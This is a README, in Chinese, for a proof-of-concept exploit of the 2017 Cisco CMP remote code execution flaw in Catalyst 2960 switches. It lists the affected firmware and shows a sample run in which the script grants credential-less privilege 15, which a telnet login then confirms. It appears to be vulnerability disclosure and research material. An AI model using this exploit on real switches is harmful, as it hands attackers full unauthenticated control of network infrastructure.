===================
本仓库包含针对思科系统于 2017 年 3 月 17 日披露的远程代码执行漏洞的 PoC 代码 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp
漏洞利用文章见 - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
RCE 利用代码适用于 Cisco Catalyst 2960 交换机型号。此利用代码依赖于固件版本,支持以下两种固件版本:
12.2(55)SE1 C2960-LANBASEK9-M
12.2(55)SE11 C2960-LANBASEK9-M
拒绝服务代码以 metasploit ruby 模块形式提供,应适用于 Cisco 公告中提到的大部分交换机(待确认)。
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] 连接成功
[+] 从 telnet 服务接收到的字节: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] 发送集群选项
[+] 设置无凭证权限级别 15 认证
[+] 完成
$ telnet 192.168.88.10
正在连接 192.168.88.10...
已连接到 192.168.88.10。
转义字符为 '^]'。
catalyst1#show priv
当前权限级别为 15
Artem Kondratenko https://twitter.com/artkond